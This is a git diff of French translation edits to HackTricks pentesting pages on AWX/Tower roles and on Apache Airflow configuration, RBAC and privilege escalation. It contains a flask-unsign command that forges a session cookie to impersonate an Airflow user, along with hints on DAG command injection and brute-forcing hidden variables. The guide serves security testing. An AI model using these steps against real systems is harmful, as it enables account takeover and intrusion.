diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md index df51db92d..bbb50385b 100644 --- a/src/banners/hacktricks-training.md +++ b/src/banners/hacktricks-training.md @@ -6,7 +6,7 @@ > > Soutenir HackTricks > -> - Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)! +> - Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) ! > - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** > - **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. > diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index 0e883b739..87f7c4267 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -10,7 +10,7 @@ ### Différences -Selon [**cet article**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), les principales différences entre Ansible Tower et AWX sont le support reçu et Ansible Tower dispose de fonctionnalités supplémentaires telles que le contrôle d'accès basé sur les rôles, le support des API personnalisées et des flux de travail définis par l'utilisateur. +Selon [**ceci**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), les principales différences entre Ansible Tower et AWX sont le support reçu et Ansible Tower dispose de fonctionnalités supplémentaires telles que le contrôle d'accès basé sur les rôles, le support des API personnalisées et des flux de travail définis par l'utilisateur. ### Stack technologique @@ -39,10 +39,10 @@ Selon [**cet article**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-h - Le Modèle de Tâche inclut des références à l'**Inventaire**, au **Projet** (contenant le playbook) et aux **Identifiants**. - Lors de l'initiation de la tâche, une demande est envoyée au backend d'AWX/Tower pour mettre la tâche en file d'attente pour exécution. 3. **Mise en file d'attente de la tâche** : - - **RabbitMQ** gère la messagerie entre le composant web et les exécuteurs de tâches. Une fois qu'une tâche est initiée, un message est envoyé au moteur de tâches via RabbitMQ. + - **RabbitMQ** gère la messagerie entre le composant web et les exécuteurs de tâches. Une fois qu'une tâche est initiée, un message est envoyé au moteur de tâches en utilisant RabbitMQ. - **Redis** agit comme le backend pour la file d'attente des tâches, gérant les tâches mises en file d'attente en attente d'exécution. 4. **Exécution de la tâche** : - - Le **Moteur de Tâches** prend la tâche mise en file d'attente. Il récupère les informations nécessaires de la **Base de données** concernant le playbook associé à la tâche, l'inventaire et les identifiants. + - Le **Moteur de Tâches** prend la tâche mise en file d'attente. Il récupère les informations nécessaires à partir de la **Base de données** concernant le playbook associé à la tâche, l'inventaire et les identifiants. - En utilisant le playbook Ansible récupéré du **Projet** associé, le Moteur de Tâches exécute le playbook contre les nœuds de l'**Inventaire** spécifié en utilisant les **Identifiants** fournis. - Au fur et à mesure que le playbook s'exécute, sa sortie d'exécution (journaux, faits, etc.) est capturée et stockée dans la **Base de données**. 5. **Résultats de la tâche** : @@ -50,11 +50,11 @@ Selon [**cet article**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-h - Les utilisateurs peuvent ensuite consulter les résultats via l'Interface Web ou les interroger via l'API REST. - En fonction des résultats des tâches, des **Notifications** peuvent être envoyées pour informer les utilisateurs ou les systèmes externes de l'état de la tâche. Les notifications peuvent être des e-mails, des messages Slack, des webhooks, etc. 6. **Intégration avec des systèmes externes** : - - Les **Inventaires** peuvent être dynamiquement récupérés à partir de systèmes externes, permettant à AWX/Tower de tirer des hôtes de sources telles que AWS, Azure, VMware, et plus encore. + - Les **Inventaires** peuvent être récupérés dynamiquement à partir de systèmes externes, permettant à AWX/Tower de tirer des hôtes de sources telles que AWS, Azure, VMware, et plus encore. - Les **Projets** (playbooks) peuvent être récupérés à partir de systèmes de contrôle de version, garantissant l'utilisation de playbooks à jour lors de l'exécution des tâches. - Les **Planificateurs et Rappels** peuvent être utilisés pour s'intégrer à d'autres systèmes ou outils, permettant à AWX/Tower de réagir à des déclencheurs externes ou d'exécuter des tâches à des moments prédéterminés. -### Création d'un laboratoire AWX pour les tests +### Création de laboratoire AWX pour les tests [**Suivant la documentation**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md), il est possible d'utiliser docker-compose pour exécuter AWX : ```bash @@ -94,43 +94,43 @@ D'un examen de **sécurité en boîte blanche**, vous auriez besoin du **rôle d Développez ceci pour obtenir une description détaillée des rôles disponibles -1. **Administrateur Système**: +1. **Administrateur Système** : - C'est le rôle de superutilisateur avec des permissions pour accéder et modifier n'importe quelle ressource dans le système. - Ils peuvent gérer toutes les organisations, équipes, projets, inventaires, modèles de travail, etc. -2. **Auditeur Système**: +2. **Auditeur Système** : - Les utilisateurs avec ce rôle peuvent voir toutes les données du système mais ne peuvent apporter aucune modification. - Ce rôle est conçu pour la conformité et la supervision. -3. **Rôles d'Organisation**: -- **Admin**: Contrôle total sur les ressources de l'organisation. -- **Auditeur**: Accès en lecture seule aux ressources de l'organisation. -- **Membre**: Adhésion de base dans une organisation sans permissions spécifiques. -- **Exécuter**: Peut exécuter des modèles de travail au sein de l'organisation. -- **Lire**: Peut voir les ressources de l'organisation. -4. **Rôles de Projet**: -- **Admin**: Peut gérer et modifier le projet. -- **Utiliser**: Peut utiliser le projet dans un modèle de travail. -- **Mettre à jour**: Peut mettre à jour le projet en utilisant SCM (contrôle de version). -5. **Rôles d'Inventaire**: -- **Admin**: Peut gérer et modifier l'inventaire. -- **Ad Hoc**: Peut exécuter des commandes ad hoc sur l'inventaire. -- **Mettre à jour**: Peut mettre à jour la source de l'inventaire. -- **Utiliser**: Peut utiliser l'inventaire dans un modèle de travail. -- **Lire**: Accès en lecture seule. -6. **Rôles de Modèle de Travail**: -- **Admin**: Peut gérer et modifier le modèle de travail. -- **Exécuter**: Peut exécuter le travail. -- **Lire**: Accès en lecture seule. -7. **Rôles de Credential**: -- **Admin**: Peut gérer et modifier les identifiants. -- **Utiliser**: Peut utiliser les identifiants dans des modèles de travail ou d'autres ressources pertinentes. -- **Lire**: Accès en lecture seule. -8. **Rôles d'Équipe**: -- **Membre**: Partie de l'équipe mais sans permissions spécifiques. -- **Admin**: Peut gérer les membres de l'équipe et les ressources associées. -9. **Rôles de Workflow**: -- **Admin**: Peut gérer et modifier le workflow. -- **Exécuter**: Peut exécuter le workflow. -- **Lire**: Accès en lecture seule. +3. **Rôles d'Organisation** : +- **Admin** : Contrôle total sur les ressources de l'organisation. +- **Auditeur** : Accès en lecture seule aux ressources de l'organisation. +- **Membre** : Adhésion de base à une organisation sans permissions spécifiques. +- **Exécuter** : Peut exécuter des modèles de travail au sein de l'organisation. +- **Lire** : Peut voir les ressources de l'organisation. +4. **Rôles de Projet** : +- **Admin** : Peut gérer et modifier le projet. +- **Utiliser** : Peut utiliser le projet dans un modèle de travail. +- **Mettre à jour** : Peut mettre à jour le projet en utilisant SCM (contrôle de version). +5. **Rôles d'Inventaire** : +- **Admin** : Peut gérer et modifier l'inventaire. +- **Ad Hoc** : Peut exécuter des commandes ad hoc sur l'inventaire. +- **Mettre à jour** : Peut mettre à jour la source de l'inventaire. +- **Utiliser** : Peut utiliser l'inventaire dans un modèle de travail. +- **Lire** : Accès en lecture seule. +6. **Rôles de Modèle de Travail** : +- **Admin** : Peut gérer et modifier le modèle de travail. +- **Exécuter** : Peut exécuter le travail. +- **Lire** : Accès en lecture seule. +7. **Rôles de Credential** : +- **Admin** : Peut gérer et modifier les identifiants. +- **Utiliser** : Peut utiliser les identifiants dans des modèles de travail ou d'autres ressources pertinentes. +- **Lire** : Accès en lecture seule. +8. **Rôles d'Équipe** : +- **Membre** : Partie de l'équipe mais sans permissions spécifiques. +- **Admin** : Peut gérer les membres de l'équipe et les ressources associées. +9. **Rôles de Workflow** : +- **Admin** : Peut gérer et modifier le workflow. +- **Exécuter** : Peut exécuter le workflow. +- **Lire** : Accès en lecture seule. diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index 7dff223b0..6f0510aa0 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -1,10 +1,10 @@ -# Apache Airflow Security +# Sécurité d'Apache Airflow {{#include ../../banners/hacktricks-training.md}} ### Informations de base -[**Apache Airflow**](https://airflow.apache.org) sert de plateforme pour **l'orchestration et la planification de pipelines de données ou de flux de travail**. Le terme "orchestration" dans le contexte des pipelines de données signifie le processus d'arrangement, de coordination et de gestion de flux de travail de données complexes provenant de diverses sources. Le but principal de ces pipelines de données orchestrés est de fournir des ensembles de données traitées et consommables. Ces ensembles de données sont largement utilisés par une myriade d'applications, y compris, mais sans s'y limiter, les outils d'intelligence d'affaires, les modèles de science des données et d'apprentissage automatique, qui sont tous fondamentaux au fonctionnement des applications de big data. +[**Apache Airflow**](https://airflow.apache.org) sert de plateforme pour **l'orchestration et la planification de pipelines de données ou de workflows**. Le terme "orchestration" dans le contexte des pipelines de données signifie le processus d'arrangement, de coordination et de gestion de workflows de données complexes provenant de diverses sources. Le but principal de ces pipelines de données orchestrés est de fournir des ensembles de données traitées et exploitables. Ces ensembles de données sont largement utilisés par une myriade d'applications, y compris, mais sans s'y limiter, les outils d'intelligence d'affaires, les modèles de science des données et d'apprentissage automatique, qui sont tous fondamentaux pour le fonctionnement des applications de big data. En gros, Apache Airflow vous permettra de **planifier l'exécution de code lorsque quelque chose** (événement, cron) **se produit**. @@ -48,10 +48,10 @@ airflow-rbac.md Si vous avez **accès à la console web**, vous pourriez être en mesure d'accéder à certaines ou à toutes les informations suivantes : -- **Variables** (Des informations sensibles personnalisées peuvent y être stockées) -- **Connexions** (Des informations sensibles personnalisées peuvent y être stockées) +- **Variables** (Des informations sensibles personnalisées peuvent être stockées ici) +- **Connexions** (Des informations sensibles personnalisées peuvent être stockées ici) - Accédez-y dans `http:///connection/list/` -- [**Configuration**](./#airflow-configuration) (Des informations sensibles comme le **`secret_key`** et des mots de passe peuvent y être stockées) +- [**Configuration**](./#airflow-configuration) (Des informations sensibles comme le **`secret_key`** et des mots de passe peuvent être stockées ici) - Liste des **utilisateurs et rôles** - **Code de chaque DAG** (qui peut contenir des informations intéressantes) @@ -64,13 +64,13 @@ Airflow affichera par défaut la valeur de la variable dans l'interface graphiqu Cependant, ces **valeurs** peuvent toujours être **récupérées** via **CLI** (vous devez avoir accès à la base de données), exécution de **DAG** arbitraire, **API** accédant au point de terminaison des variables (l'API doit être activée), et **même l'interface graphique elle-même !**\ Pour accéder à ces valeurs depuis l'interface graphique, il suffit de **sélectionner les variables** que vous souhaitez accéder et de **cliquer sur Actions -> Exporter**.\ -Une autre façon est d'effectuer un **bruteforce** sur la **valeur cachée** en utilisant le **filtrage de recherche** jusqu'à ce que vous l'obteniez : +Une autre méthode consiste à effectuer un **bruteforce** sur la **valeur cachée** en utilisant le **filtrage de recherche** jusqu'à ce que vous l'obteniez : ![](<../../images/image (152).png>) #### Escalade de Privilèges -Si la configuration **`expose_config`** est définie sur **True**, à partir du **rôle Utilisateur** et **au-dessus**, on peut **lire** la **configuration sur le web**. Dans cette configuration, le **`secret_key`** apparaît, ce qui signifie que tout utilisateur avec cela valide peut **créer son propre cookie signé pour usurper n'importe quel autre compte utilisateur**. +Si la configuration **`expose_config`** est définie sur **True**, à partir du **rôle Utilisateur** et **au-dessus**, il est possible de **lire** la **configuration sur le web**. Dans cette configuration, le **`secret_key`** apparaît, ce qui signifie que tout utilisateur avec cette validité peut **créer son propre cookie signé pour usurper n'importe quel autre compte utilisateur**. ```bash flask-unsign --sign --secret '' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}" ``` @@ -152,7 +152,7 @@ Lorsque vous exécutez un DAG depuis l'interface graphique, vous pouvez **passer Par conséquent, si le DAG n'est pas correctement codé, il pourrait être **vulnérable à l'injection de commandes.**\ C'est ce qui s'est passé dans ce CVE : [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927) -Tout ce que vous devez savoir pour **commencer à chercher des injections de commandes dans les DAG** est que les **paramètres** sont **accédés** avec le code **`dag_run.conf.get("param_name")`**. +Tout ce que vous devez savoir pour **commencer à chercher des injections de commandes dans les DAGs** est que les **paramètres** sont **accédés** avec le code **`dag_run.conf.get("param_name")`**. De plus, la même vulnérabilité pourrait se produire avec des **variables** (notez qu'avec suffisamment de privilèges, vous pourriez **contrôler la valeur des variables** dans l'interface graphique). Les variables sont **accessibles avec** : ```python @@ -160,6 +160,6 @@ from airflow.models import Variable [...] foo = Variable.get("foo") ``` -Si elles sont utilisées par exemple à l'intérieur d'une commande bash, vous pourriez effectuer une injection de commande. +S'ils sont utilisés par exemple à l'intérieur d'une commande bash, vous pourriez effectuer une injection de commande. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md index effebb2ca..42aee7dd8 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md @@ -1,4 +1,4 @@ -# Configuration d'Airflow +# Configuration Airflow {{#include ../../banners/hacktricks-training.md}} @@ -10,21 +10,21 @@ Notez que les **valeurs à l'intérieur du fichier de config** **peuvent ne pas être celles utilisées**, car vous pouvez les écraser en définissant des variables d'environnement telles que `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`. -Si vous avez accès au **fichier de config sur le serveur web**, vous pouvez vérifier la **vraie configuration en cours d'exécution** sur la même page où la config est affichée.\ +Si vous avez accès au **fichier de config sur le serveur web**, vous pouvez vérifier la **vraie configuration en cours** sur la même page où la config est affichée.\ Si vous avez **accès à une machine dans l'environnement airflow**, vérifiez l'**environnement**. -Voici quelques valeurs intéressantes à vérifier lors de la lecture du fichier de config : +Quelques valeurs intéressantes à vérifier lors de la lecture du fichier de config : ### \[api] -- **`access_control_allow_headers`** : Cela indique les **en-têtes** **autorisés** pour **CORS** +- **`access_control_allow_headers`** : Cela indique les **en-têtes autorisés** pour **CORS** - **`access_control_allow_methods`** : Cela indique les **méthodes autorisées** pour **CORS** - **`access_control_allow_origins`** : Cela indique les **origines autorisées** pour **CORS** - **`auth_backend`** : [**Selon la documentation**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html), quelques options peuvent être mises en place pour configurer qui peut accéder à l'API : - `airflow.api.auth.backend.deny_all` : **Par défaut, personne** ne peut accéder à l'API - `airflow.api.auth.backend.default` : **Tout le monde peut** y accéder sans authentification - `airflow.api.auth.backend.kerberos_auth` : Pour configurer **l'authentification kerberos** -- `airflow.api.auth.backend.basic_auth` : Pour **l'authentification de base** +- `airflow.api.auth.backend.basic_auth` : Pour **l'authentification basique** - `airflow.composer.api.backend.composer_auth` : Utilise l'authentification des compositeurs (GCP) (depuis [**ici**](https://cloud.google.com/composer/docs/access-airflow-api)). - `composer_auth_user_registration_role` : Cela indique le **rôle** que l'**utilisateur compositeur** obtiendra dans **airflow** (**Op** par défaut). - Vous pouvez également **créer votre propre méthode d'authentification** avec python. @@ -47,7 +47,7 @@ Voici quelques valeurs intéressantes à vérifier lors de la lecture du fichier - **`dag_discovery_safe_mode`** : Activé par défaut. Lors de la découverte des DAGs, ignorez tous les fichiers qui ne contiennent pas les chaînes `DAG` et `airflow`. - **`fernet_key`** : Clé pour stocker des variables chiffrées (symétrique) -- **`hide_sensitive_var_conn_fields`** : Activé par défaut, masque les informations sensibles des connexions. +- **`hide_sensitive_var_conn_fields`** : Activé par défaut, cache les informations sensibles des connexions. - **`security`** : Quel module de sécurité utiliser (par exemple kerberos) ### \[dask] @@ -80,7 +80,7 @@ Voici quelques valeurs intéressantes à vérifier lors de la lecture du fichier - **`cookie_samesite`** : Par défaut, c'est **Lax**, donc c'est déjà la valeur la plus faible possible - **`cookie_secure`** : Définir le **drapeau sécurisé** sur le cookie de session - **`expose_config`** : Par défaut, c'est Faux, si vrai, la **config** peut être **lue** depuis la **console** web -- **`expose_stacktrace`** : Par défaut, c'est Vrai, cela affichera les **tracebacks python** (potentiellement utile pour un attaquant) +- **`expose_stacktrace`** : Par défaut, c'est Vrai, cela affichera les **tracebacks python** (potentiellement utiles pour un attaquant) - **`secret_key`** : C'est la **clé utilisée par flask pour signer les cookies** (si vous avez cela, vous pouvez **usurper l'identité de n'importe quel utilisateur dans Airflow**) - **`web_server_ssl_cert`** : **Chemin** vers le **certificat** **SSL** - **`web_server_ssl_key`** : **Chemin** vers la **clé** **SSL** diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index dba5911e0..d2b742e3c 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,7 +4,7 @@ ## RBAC -(Depuis la documentation)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow est livré avec un **ensemble de rôles par défaut** : **Admin**, **User**, **Op**, **Viewer**, et **Public**. **Seuls les utilisateurs `Admin`** peuvent **configurer/alterer les permissions pour d'autres rôles**. Mais il n'est pas recommandé que les utilisateurs `Admin` modifient ces rôles par défaut de quelque manière que ce soit en supprimant ou en ajoutant des permissions à ces rôles. +(Des docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow est livré avec un **ensemble de rôles par défaut** : **Admin**, **User**, **Op**, **Viewer**, et **Public**. **Seuls les utilisateurs `Admin`** peuvent **configurer/modifier les permissions pour d'autres rôles**. Mais il n'est pas recommandé que les utilisateurs `Admin` modifient ces rôles par défaut de quelque manière que ce soit en supprimant ou en ajoutant des permissions à ces rôles. - **Les utilisateurs `Admin`** ont toutes les permissions possibles. - **Les utilisateurs `Public`** (anonymes) n'ont aucune permission. @@ -22,19 +22,19 @@ Voici les permissions par défaut par rôle par défaut : - **Admin** -\[peut supprimer sur les Connections, peut lire sur les Connections, peut éditer sur les Connections, peut créer sur les Connections, peut lire sur les DAGs, peut éditer sur les DAGs, peut supprimer sur les DAGs, peut lire sur les DAG Runs, peut lire sur les Task Instances, peut éditer sur les Task Instances, peut supprimer sur les DAG Runs, peut créer sur les DAG Runs, peut éditer sur les DAG Runs, peut lire sur les Audit Logs, peut lire sur ImportError, peut supprimer sur les Pools, peut lire sur les Pools, peut éditer sur les Pools, peut créer sur les Pools, peut lire sur les Providers, peut supprimer sur les Variables, peut lire sur les Variables, peut éditer sur les Variables, peut créer sur les Variables, peut lire sur les XComs, peut lire sur le Code des DAG, peut lire sur les Configurations, peut lire sur les Plugins, peut lire sur les Rôles, peut lire sur les Permissions, peut supprimer sur les Rôles, peut éditer sur les Rôles, peut créer sur les Rôles, peut lire sur les Utilisateurs, peut créer sur les Utilisateurs, peut éditer sur les Utilisateurs, peut supprimer sur les Utilisateurs, peut lire sur les Dépendances des DAG, peut lire sur les Jobs, peut lire sur Mon Mot de Passe, peut éditer sur Mon Mot de Passe, peut lire sur Mon Profil, peut éditer sur Mon Profil, peut lire sur les SLA Misses, peut lire sur les Logs des Tâches, peut lire sur le Site Web, accès au menu sur Parcourir, accès au menu sur les Dépendances des DAG, accès au menu sur les DAG Runs, accès au menu sur la Documentation, accès au menu sur les Docs, accès au menu sur les Jobs, accès au menu sur les Audit Logs, accès au menu sur les Plugins, accès au menu sur les SLA Misses, accès au menu sur les Task Instances, peut créer sur les Task Instances, peut supprimer sur les Task Instances, accès au menu sur Admin, accès au menu sur les Configurations, accès au menu sur les Connections, accès au menu sur les Pools, accès au menu sur les Variables, accès au menu sur les XComs, peut supprimer sur les XComs, peut lire sur les Replanifications des Tâches, accès au menu sur les Replanifications des Tâches, peut lire sur les Déclencheurs, accès au menu sur les Déclencheurs, peut lire sur les Mots de Passe, peut éditer sur les Mots de Passe, accès au menu sur Lister les Utilisateurs, accès au menu sur Sécurité, accès au menu sur Lister les Rôles, peut lire sur le Graphique des Statistiques des Utilisateurs, accès au menu sur les Statistiques des Utilisateurs, accès au menu sur les Permissions de Base, peut lire sur les Menus de Vue, accès au menu sur les Vues/Menus, peut lire sur les Vues de Permission, accès au menu sur la Permission sur les Vues/Menus, peut obtenir sur MenuApi, accès au menu sur les Providers, peut créer sur les XComs] +\[peut supprimer sur Connections, peut lire sur Connections, peut éditer sur Connections, peut créer sur Connections, peut lire sur DAGs, peut éditer sur DAGs, peut supprimer sur DAGs, peut lire sur DAG Runs, peut lire sur Task Instances, peut éditer sur Task Instances, peut supprimer sur DAG Runs, peut créer sur DAG Runs, peut éditer sur DAG Runs, peut lire sur Audit Logs, peut lire sur ImportError, peut supprimer sur Pools, peut lire sur Pools, peut éditer sur Pools, peut créer sur Pools, peut lire sur Providers, peut supprimer sur Variables, peut lire sur Variables, peut éditer sur Variables, peut créer sur Variables, peut lire sur XComs, peut lire sur DAG Code, peut lire sur Configurations, peut lire sur Plugins, peut lire sur Roles, peut lire sur Permissions, peut supprimer sur Roles, peut éditer sur Roles, peut créer sur Roles, peut lire sur Users, peut créer sur Users, peut éditer sur Users, peut supprimer sur Users, peut lire sur DAG Dependencies, peut lire sur Jobs, peut lire sur My Password, peut éditer sur My Password, peut lire sur My Profile, peut éditer sur My Profile, peut lire sur SLA Misses, peut lire sur Task Logs, peut lire sur Website, accès au menu sur Browse, accès au menu sur DAG Dependencies, accès au menu sur DAG Runs, accès au menu sur Documentation, accès au menu sur Docs, accès au menu sur Jobs, accès au menu sur Audit Logs, accès au menu sur Plugins, accès au menu sur SLA Misses, accès au menu sur Task Instances, peut créer sur Task Instances, peut supprimer sur Task Instances, accès au menu sur Admin, accès au menu sur Configurations, accès au menu sur Connections, accès au menu sur Pools, accès au menu sur Variables, accès au menu sur XComs, peut supprimer sur XComs, peut lire sur Task Reschedules, accès au menu sur Task Reschedules, peut lire sur Triggers, accès au menu sur Triggers, peut lire sur Passwords, peut éditer sur Passwords, accès au menu sur List Users, accès au menu sur Security, accès au menu sur List Roles, peut lire sur User Stats Chart, accès au menu sur User's Statistics, accès au menu sur Base Permissions, peut lire sur View Menus, accès au menu sur Views/Menus, peut lire sur Permission Views, accès au menu sur Permission on Views/Menus, peut obtenir sur MenuApi, accès au menu sur Providers, peut créer sur XComs] - **Op** -\[peut supprimer sur les Connections, peut lire sur les Connections, peut éditer sur les Connections, peut créer sur les Connections, peut lire sur les DAGs, peut éditer sur les DAGs, peut supprimer sur les DAGs, peut lire sur les DAG Runs, peut lire sur les Task Instances, peut éditer sur les Task Instances, peut supprimer sur les DAG Runs, peut créer sur les DAG Runs, peut éditer sur les DAG Runs, peut lire sur les Audit Logs, peut lire sur ImportError, peut supprimer sur les Pools, peut lire sur les Pools, peut éditer sur les Pools, peut créer sur les Pools, peut lire sur les Providers, peut supprimer sur les Variables, peut lire sur les Variables, peut éditer sur les Variables, peut créer sur les Variables, peut lire sur les XComs, peut lire sur le Code des DAG, peut lire sur les Configurations, peut lire sur les Plugins, peut lire sur les Dépendances des DAG, peut lire sur les Jobs, peut lire sur Mon Mot de Passe, peut éditer sur Mon Mot de Passe, peut lire sur Mon Profil, peut éditer sur Mon Profil, peut lire sur les SLA Misses, peut lire sur les Logs des Tâches, peut lire sur le Site Web, accès au menu sur Parcourir, accès au menu sur les Dépendances des DAG, accès au menu sur les DAG Runs, accès au menu sur la Documentation, accès au menu sur les Docs, accès au menu sur les Jobs, accès au menu sur les Audit Logs, accès au menu sur les Plugins, accès au menu sur les SLA Misses, accès au menu sur les Task Instances, peut créer sur les Task Instances, peut supprimer sur les Task Instances, accès au menu sur Admin, accès au menu sur les Configurations, accès au menu sur les Connections, accès au menu sur les Pools, accès au menu sur les Variables, accès au menu sur les XComs, peut supprimer sur les XComs] +\[peut supprimer sur Connections, peut lire sur Connections, peut éditer sur Connections, peut créer sur Connections, peut lire sur DAGs, peut éditer sur DAGs, peut supprimer sur DAGs, peut lire sur DAG Runs, peut lire sur Task Instances, peut éditer sur Task Instances, peut supprimer sur DAG Runs, peut créer sur DAG Runs, peut éditer sur DAG Runs, peut lire sur Audit Logs, peut lire sur ImportError, peut supprimer sur Pools, peut lire sur Pools, peut éditer sur Pools, peut créer sur Pools, peut lire sur Providers, peut supprimer sur Variables, peut lire sur Variables, peut éditer sur Variables, peut créer sur Variables, peut lire sur XComs, peut lire sur DAG Code, peut lire sur Configurations, peut lire sur Plugins, peut lire sur DAG Dependencies, peut lire sur Jobs, peut lire sur My Password, peut éditer sur My Password, peut lire sur My Profile, peut éditer sur My Profile, peut lire sur SLA Misses, peut lire sur Task Logs, peut lire sur Website, accès au menu sur Browse, accès au menu sur DAG Dependencies, accès au menu sur DAG Runs, accès au menu sur Documentation, accès au menu sur Docs, accès au menu sur Jobs, accès au menu sur Audit Logs, accès au menu sur Plugins, accès au menu sur SLA Misses, accès au menu sur Task Instances, peut créer sur Task Instances, peut supprimer sur Task Instances, accès au menu sur Admin, accès au menu sur Configurations, accès au menu sur Connections, accès au menu sur Pools, accès au menu sur Variables, accès au menu sur XComs, peut supprimer sur XComs] - **User** -\[peut lire sur les DAGs, peut éditer sur les DAGs, peut supprimer sur les DAGs, peut lire sur les DAG Runs, peut lire sur les Task Instances, peut éditer sur les Task Instances, peut supprimer sur les DAG Runs, peut créer sur les DAG Runs, peut éditer sur les DAG Runs, peut lire sur les Audit Logs, peut lire sur ImportError, peut lire sur les XComs, peut lire sur le Code des DAG, peut lire sur les Plugins, peut lire sur les Dépendances des DAG, peut lire sur les Jobs, peut lire sur Mon Mot de Passe, peut éditer sur Mon Mot de Passe, peut lire sur Mon Profil, peut éditer sur Mon Profil, peut lire sur les SLA Misses, peut lire sur les Logs des Tâches, peut lire sur le Site Web, accès au menu sur Parcourir, accès au menu sur les Dépendances des DAG, accès au menu sur les DAG Runs, accès au menu sur la Documentation, accès au menu sur les Docs, accès au menu sur les Jobs, accès au menu sur les Audit Logs, accès au menu sur les Plugins, accès au menu sur les SLA Misses, accès au menu sur les Task Instances, peut créer sur les Task Instances, peut supprimer sur les Task Instances] +\[peut lire sur DAGs, peut éditer sur DAGs, peut supprimer sur DAGs, peut lire sur DAG Runs, peut lire sur Task Instances, peut éditer sur Task Instances, peut supprimer sur DAG Runs, peut créer sur DAG Runs, peut éditer sur DAG Runs, peut lire sur Audit Logs, peut lire sur ImportError, peut lire sur XComs, peut lire sur DAG Code, peut lire sur Plugins, peut lire sur DAG Dependencies, peut lire sur Jobs, peut lire sur My Password, peut éditer sur My Password, peut lire sur My Profile, peut éditer sur My Profile, peut lire sur SLA Misses, peut lire sur Task Logs, peut lire sur Website, accès au menu sur Browse, accès au menu sur DAG Dependencies, accès au menu sur DAG Runs, accès au menu sur Documentation, accès au menu sur Docs, accès au menu sur Jobs, accès au menu sur Audit Logs, accès au menu sur Plugins, accès au menu sur SLA Misses, accès au menu sur Task Instances, peut créer sur Task Instances, peut supprimer sur Task Instances] - **Viewer** -\[peut lire sur les DAGs, peut lire sur les DAG Runs, peut lire sur les Task Instances, peut lire sur les Audit Logs, peut lire sur ImportError, peut lire sur les XComs, peut lire sur le Code des DAG, peut lire sur les Plugins, peut lire sur les Dépendances des DAG, peut lire sur les Jobs, peut lire sur Mon Mot de Passe, peut éditer sur Mon Mot de Passe, peut lire sur Mon Profil, peut éditer sur Mon Profil, peut lire sur les SLA Misses, peut lire sur les Logs des Tâches, peut lire sur le Site Web, accès au menu sur Parcourir, accès au menu sur les Dépendances des DAG, accès au menu sur les DAG Runs, accès au menu sur la Documentation, accès au menu sur les Docs, accès au menu sur les Jobs, accès au menu sur les Audit Logs, accès au menu sur les Plugins, accès au menu sur les SLA Misses, accès au menu sur les Task Instances] +\[peut lire sur DAGs, peut lire sur DAG Runs, peut lire sur Task Instances, peut lire sur Audit Logs, peut lire sur ImportError, peut lire sur XComs, peut lire sur DAG Code, peut lire sur Plugins, peut lire sur DAG Dependencies, peut lire sur Jobs, peut lire sur My Password, peut éditer sur My Password, peut lire sur My Profile, peut éditer sur My Profile, peut lire sur SLA Misses, peut lire sur Task Logs, peut lire sur Website, accès au menu sur Browse, accès au menu sur DAG Dependencies, accès au menu sur DAG Runs, accès au menu sur Documentation, accès au menu sur Docs, accès au menu sur Jobs, accès au menu sur Audit Logs, accès au menu sur Plugins, accès au menu sur SLA Misses, accès au menu sur Task Instances] - **Public** diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 997d78434..f3047f48e 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -2,25 +2,25 @@ {{#include ../banners/hacktricks-training.md}} -### Basic Information +### Informations de base -Atlantis aide essentiellement à exécuter terraform à partir des Pull Requests de votre serveur git. +Atlantis vous aide essentiellement à exécuter terraform à partir de Pull Requests de votre serveur git. ![](<../images/image (161).png>) -### Local Lab +### Laboratoire local 1. Allez sur la **page des versions d'atlantis** à [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) et **téléchargez** celle qui vous convient. -2. Créez un **jeton personnel** (avec accès au repo) de votre utilisateur **github** -3. Exécutez `./atlantis testdrive` et cela créera un **repo de démon** que vous 